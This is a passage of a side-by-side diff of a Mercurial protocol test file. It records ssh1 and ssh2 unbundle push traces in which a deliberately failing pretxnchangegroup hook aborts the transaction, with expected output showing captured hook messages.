770 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
781 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
771 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
782 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
772 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
783 | i> write(2) -> 2: |
|
773 | i> write(2) -> 2: | |
784 | i> 0\n |
|
774 | i> 0\n | |
785 | i> flush() -> None |
|
775 | i> flush() -> None | |
786 | o> readline() -> 2: |
|
776 | o> readline() -> 2: | |
787 | o> 0\n |
|
777 | o> 0\n | |
788 | o> readline() -> 2: |
|
778 | o> readline() -> 2: | |
789 | o> 1\n |
|
779 | o> 1\n | |
790 | o> read(1) -> 1: 0 |
|
780 | o> read(1) -> 1: 0 | |
791 | result: 0 |
|
781 | result: 0 | |
792 | remote output: |
|
782 | remote output: | |
793 | o> read(-1) -> 0: |
|
|||
794 | e> read(-1) -> 232: |
|
783 | e> read(-1) -> 232: | |
795 | e> adding changesets\n |
|
784 | e> adding changesets\n | |
796 | e> adding manifests\n |
|
785 | e> adding manifests\n | |
797 | e> adding file changes\n |
|
786 | e> adding file changes\n | |
798 | e> added 1 changesets with 1 changes to 1 files\n |
|
787 | e> added 1 changesets with 1 changes to 1 files\n | |
799 | e> ui.write 1\n |
|
788 | e> ui.write 1\n | |
800 | e> ui.write_err 1\n |
|
789 | e> ui.write_err 1\n | |
801 | e> ui.write 2\n |
|
790 | e> ui.write 2\n | |
802 | e> ui.write_err 2\n |
|
791 | e> ui.write_err 2\n | |
803 | e> transaction abort!\n |
|
792 | e> transaction abort!\n | |
804 | e> rollback completed\n |
|
793 | e> rollback completed\n | |
805 | e> abort: pretxnchangegroup.fail hook failed\n |
|
794 | e> abort: pretxnchangegroup.fail hook failed\n | |
806 |
|
795 | |||
807 | testing ssh2 |
|
796 | testing ssh2 | |
808 | creating ssh peer from handshake results |
|
797 | creating ssh peer from handshake results | |
809 | i> write(171) -> 171: |
|
798 | i> write(171) -> 171: | |
810 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
799 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
811 | i> hello\n |
|
800 | i> hello\n | |
812 | i> between\n |
|
801 | i> between\n | |
813 | i> pairs 81\n |
|
802 | i> pairs 81\n | |
814 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
803 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
815 | i> flush() -> None |
|
804 | i> flush() -> None | |
816 | o> readline() -> 62: |
|
805 | o> readline() -> 62: | |
817 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
806 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
818 | o> readline() -> 4: |
|
807 | o> readline() -> 4: | |
819 | o> 412\n |
|
808 | o> 412\n | |
820 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
809 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
821 | o> read(1) -> 1: |
|
810 | o> read(1) -> 1: | |
822 | o> \n |
|
811 | o> \n | |
823 | sending unbundle command |
|
812 | sending unbundle command | |
824 | i> write(9) -> 9: |
|
813 | i> write(9) -> 9: | |
825 | i> unbundle\n |
|
814 | i> unbundle\n | |
826 | i> write(9) -> 9: |
|
815 | i> write(9) -> 9: | |
827 | i> heads 10\n |
|
816 | i> heads 10\n | |
828 | i> write(10) -> 10: 666f726365 |
|
817 | i> write(10) -> 10: 666f726365 | |
829 | i> flush() -> None |
|
818 | i> flush() -> None | |
830 | o> readline() -> 2: |
|
819 | o> readline() -> 2: | |
831 | o> 0\n |
|
820 | o> 0\n | |
832 | i> write(4) -> 4: |
|
821 | i> write(4) -> 4: | |
833 | i> 426\n |
|
822 | i> 426\n | |
834 | i> write(426) -> 426: |
|
823 | i> write(426) -> 426: | |
835 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
824 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
836 | i> test\n |
|
825 | i> test\n | |
837 | i> 0 0\n |
|
826 | i> 0 0\n | |
838 | i> foo\n |
|
827 | i> foo\n | |
839 | i> \n |
|
828 | i> \n | |
840 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
829 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
841 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
830 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
842 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
831 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
843 | i> write(2) -> 2: |
|
832 | i> write(2) -> 2: | |
844 | i> 0\n |
|
833 | i> 0\n | |
845 | i> flush() -> None |
|
834 | i> flush() -> None | |
846 | o> readline() -> 2: |
|
835 | o> readline() -> 2: | |
847 | o> 0\n |
|
836 | o> 0\n | |
848 | o> readline() -> 2: |
|
837 | o> readline() -> 2: | |
849 | o> 1\n |
|
838 | o> 1\n | |
850 | o> read(1) -> 1: 0 |
|
839 | o> read(1) -> 1: 0 | |
851 | result: 0 |
|
840 | result: 0 | |
852 | remote output: |
|
841 | remote output: | |
853 | o> read(-1) -> 0: |
|
|||
854 | e> read(-1) -> 232: |
|
842 | e> read(-1) -> 232: | |
855 | e> adding changesets\n |
|
843 | e> adding changesets\n | |
856 | e> adding manifests\n |
|
844 | e> adding manifests\n | |
857 | e> adding file changes\n |
|
845 | e> adding file changes\n | |
858 | e> added 1 changesets with 1 changes to 1 files\n |
|
846 | e> added 1 changesets with 1 changes to 1 files\n | |
859 | e> ui.write 1\n |
|
847 | e> ui.write 1\n | |
860 | e> ui.write_err 1\n |
|
848 | e> ui.write_err 1\n | |
861 | e> ui.write 2\n |
|
849 | e> ui.write 2\n | |
862 | e> ui.write_err 2\n |
|
850 | e> ui.write_err 2\n | |
863 | e> transaction abort!\n |
|
851 | e> transaction abort!\n | |
864 | e> rollback completed\n |
|
852 | e> rollback completed\n | |
865 | e> abort: pretxnchangegroup.fail hook failed\n |
|
853 | e> abort: pretxnchangegroup.fail hook failed\n | |
866 |
|
854 | |||
867 | print() output is captured |
|
855 | print() output is captured | |
868 |
|
856 | |||
869 | $ cat > .hg/hgrc << EOF |
|
857 | $ cat > .hg/hgrc << EOF | |
870 | > [hooks] |
|
858 | > [hooks] | |
871 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstdout |
|
859 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstdout | |
872 | > EOF |
|
860 | > EOF | |
873 |
|
861 | |||
874 | $ debugwireproto << EOF |
|
862 | $ debugwireproto << EOF | |
875 | > command unbundle |
|
863 | > command unbundle | |
876 | > # This is "force" in hex. |
|
864 | > # This is "force" in hex. | |
877 | > heads 666f726365 |
|
865 | > heads 666f726365 | |
878 | > PUSHFILE ../initial.v1.hg |
|
866 | > PUSHFILE ../initial.v1.hg | |
879 | > readavailable |
|
867 | > readavailable | |
880 | > EOF |
|
868 | > EOF | |
881 | testing ssh1 |
|
869 | testing ssh1 | |
882 | creating ssh peer from handshake results |
|
870 | creating ssh peer from handshake results | |
883 | i> write(104) -> 104: |
|
871 | i> write(104) -> 104: | |
884 | i> hello\n |
|
872 | i> hello\n | |
885 | i> between\n |
|
873 | i> between\n | |
886 | i> pairs 81\n |
|
874 | i> pairs 81\n | |
887 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
875 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
888 | i> flush() -> None |
|
876 | i> flush() -> None | |
889 | o> readline() -> 4: |
|
877 | o> readline() -> 4: | |
890 | o> 413\n |
|
878 | o> 413\n | |
891 | o> readline() -> 413: |
|
879 | o> readline() -> 413: | |
892 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
880 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
893 | o> readline() -> 2: |
|
881 | o> readline() -> 2: | |
894 | o> 1\n |
|
882 | o> 1\n | |
895 | o> readline() -> 1: |
|
883 | o> readline() -> 1: | |
896 | o> \n |
|
884 | o> \n | |
897 | sending unbundle command |
|
885 | sending unbundle command | |
898 | i> write(9) -> 9: |
|
886 | i> write(9) -> 9: | |
899 | i> unbundle\n |
|
887 | i> unbundle\n | |
900 | i> write(9) -> 9: |
|
888 | i> write(9) -> 9: | |
901 | i> heads 10\n |
|
889 | i> heads 10\n | |
902 | i> write(10) -> 10: 666f726365 |
|
890 | i> write(10) -> 10: 666f726365 | |
903 | i> flush() -> None |
|
891 | i> flush() -> None | |
904 | o> readline() -> 2: |
|
892 | o> readline() -> 2: | |
905 | o> 0\n |
|
893 | o> 0\n | |
906 | i> write(4) -> 4: |
|
894 | i> write(4) -> 4: | |
907 | i> 426\n |
|
895 | i> 426\n | |
908 | i> write(426) -> 426: |
|
896 | i> write(426) -> 426: | |
909 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
897 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
910 | i> test\n |
|
898 | i> test\n | |
911 | i> 0 0\n |
|
899 | i> 0 0\n | |
912 | i> foo\n |
|
900 | i> foo\n | |
913 | i> \n |
|
901 | i> \n | |
914 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
902 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
915 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
903 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
916 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
904 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
917 | i> write(2) -> 2: |
|
905 | i> write(2) -> 2: | |
918 | i> 0\n |
|
906 | i> 0\n | |
919 | i> flush() -> None |
|
907 | i> flush() -> None | |
920 | o> readline() -> 2: |
|
908 | o> readline() -> 2: | |
921 | o> 0\n |
|
909 | o> 0\n | |
922 | o> readline() -> 2: |
|
910 | o> readline() -> 2: | |
923 | o> 1\n |
|
911 | o> 1\n | |
924 | o> read(1) -> 1: 0 |
|
912 | o> read(1) -> 1: 0 | |
925 | result: 0 |
|
913 | result: 0 | |
926 | remote output: |
|
914 | remote output: | |
927 | o> read(-1) -> 0: |
|
|||
928 | e> read(-1) -> 193: |
|
915 | e> read(-1) -> 193: | |
929 | e> adding changesets\n |
|
916 | e> adding changesets\n | |
930 | e> adding manifests\n |
|
917 | e> adding manifests\n | |
931 | e> adding file changes\n |
|
918 | e> adding file changes\n | |
932 | e> added 1 changesets with 1 changes to 1 files\n |
|
919 | e> added 1 changesets with 1 changes to 1 files\n | |
933 | e> printed line\n |
|
920 | e> printed line\n | |
934 | e> transaction abort!\n |
|
921 | e> transaction abort!\n | |
935 | e> rollback completed\n |
|
922 | e> rollback completed\n | |
936 | e> abort: pretxnchangegroup.fail hook failed\n |
|
923 | e> abort: pretxnchangegroup.fail hook failed\n | |
937 |
|
924 | |||
938 | testing ssh2 |
|
925 | testing ssh2 | |
939 | creating ssh peer from handshake results |
|
926 | creating ssh peer from handshake results | |
940 | i> write(171) -> 171: |
|
927 | i> write(171) -> 171: | |
941 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
928 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
942 | i> hello\n |
|
929 | i> hello\n | |
943 | i> between\n |
|
930 | i> between\n | |
944 | i> pairs 81\n |
|
931 | i> pairs 81\n | |
945 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
932 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
946 | i> flush() -> None |
|
933 | i> flush() -> None | |
947 | o> readline() -> 62: |
|
934 | o> readline() -> 62: | |
948 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
935 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
949 | o> readline() -> 4: |
|
936 | o> readline() -> 4: | |
950 | o> 412\n |
|
937 | o> 412\n | |
951 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
938 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
952 | o> read(1) -> 1: |
|
939 | o> read(1) -> 1: | |
953 | o> \n |
|
940 | o> \n | |
954 | sending unbundle command |
|
941 | sending unbundle command | |
955 | i> write(9) -> 9: |
|
942 | i> write(9) -> 9: | |
956 | i> unbundle\n |
|
943 | i> unbundle\n | |
957 | i> write(9) -> 9: |
|
944 | i> write(9) -> 9: | |
958 | i> heads 10\n |
|
945 | i> heads 10\n | |
959 | i> write(10) -> 10: 666f726365 |
|
946 | i> write(10) -> 10: 666f726365 | |
960 | i> flush() -> None |
|
947 | i> flush() -> None | |
961 | o> readline() -> 2: |
|
948 | o> readline() -> 2: | |
962 | o> 0\n |
|
949 | o> 0\n | |
963 | i> write(4) -> 4: |
|
950 | i> write(4) -> 4: | |
964 | i> 426\n |
|
951 | i> 426\n | |
965 | i> write(426) -> 426: |
|
952 | i> write(426) -> 426: | |
966 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
953 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
967 | i> test\n |
|
954 | i> test\n | |
968 | i> 0 0\n |
|
955 | i> 0 0\n | |
969 | i> foo\n |
|
956 | i> foo\n | |
970 | i> \n |
|
957 | i> \n | |
971 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
958 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
972 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
959 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
973 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
960 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
974 | i> write(2) -> 2: |
|
961 | i> write(2) -> 2: | |
975 | i> 0\n |
|
962 | i> 0\n | |
976 | i> flush() -> None |
|
963 | i> flush() -> None | |
977 | o> readline() -> 2: |
|
964 | o> readline() -> 2: | |
978 | o> 0\n |
|
965 | o> 0\n | |
979 | o> readline() -> 2: |
|
966 | o> readline() -> 2: | |
980 | o> 1\n |
|
967 | o> 1\n | |
981 | o> read(1) -> 1: 0 |
|
968 | o> read(1) -> 1: 0 | |
982 | result: 0 |
|
969 | result: 0 | |
983 | remote output: |
|
970 | remote output: | |
984 | o> read(-1) -> 0: |
|
|||
985 | e> read(-1) -> 193: |
|
971 | e> read(-1) -> 193: | |
986 | e> adding changesets\n |
|
972 | e> adding changesets\n | |
987 | e> adding manifests\n |
|
973 | e> adding manifests\n | |
988 | e> adding file changes\n |
|
974 | e> adding file changes\n | |
989 | e> added 1 changesets with 1 changes to 1 files\n |
|
975 | e> added 1 changesets with 1 changes to 1 files\n | |
990 | e> printed line\n |
|
976 | e> printed line\n | |
991 | e> transaction abort!\n |
|
977 | e> transaction abort!\n | |
992 | e> rollback completed\n |
|
978 | e> rollback completed\n | |
993 | e> abort: pretxnchangegroup.fail hook failed\n |
|
979 | e> abort: pretxnchangegroup.fail hook failed\n | |
994 |
|
980 | |||
995 | Mixed print() and ui.write() are both captured |
|
981 | Mixed print() and ui.write() are both captured | |
996 |
|
982 | |||
997 | $ cat > .hg/hgrc << EOF |
|
983 | $ cat > .hg/hgrc << EOF | |
998 | > [hooks] |
|
984 | > [hooks] | |
999 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintandwrite |
|
985 | > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintandwrite | |
1000 | > EOF |
|
986 | > EOF | |
1001 |
|
987 | |||
1002 | $ debugwireproto << EOF |
|
988 | $ debugwireproto << EOF | |
1003 | > command unbundle |
|
989 | > command unbundle | |
1004 | > # This is "force" in hex. |
|
990 | > # This is "force" in hex. | |
1005 | > heads 666f726365 |
|
991 | > heads 666f726365 | |
1006 | > PUSHFILE ../initial.v1.hg |
|
992 | > PUSHFILE ../initial.v1.hg | |
1007 | > readavailable |
|
993 | > readavailable | |
1008 | > EOF |
|
994 | > EOF | |
1009 | testing ssh1 |
|
995 | testing ssh1 | |
1010 | creating ssh peer from handshake results |
|
996 | creating ssh peer from handshake results | |
1011 | i> write(104) -> 104: |
|
997 | i> write(104) -> 104: | |
1012 | i> hello\n |
|
998 | i> hello\n | |
1013 | i> between\n |
|
999 | i> between\n | |
1014 | i> pairs 81\n |
|
1000 | i> pairs 81\n | |
1015 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1001 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1016 | i> flush() -> None |
|
1002 | i> flush() -> None | |
1017 | o> readline() -> 4: |
|
1003 | o> readline() -> 4: | |
1018 | o> 413\n |
|
1004 | o> 413\n | |
1019 | o> readline() -> 413: |
|
1005 | o> readline() -> 413: | |
1020 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1006 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1021 | o> readline() -> 2: |
|
1007 | o> readline() -> 2: | |
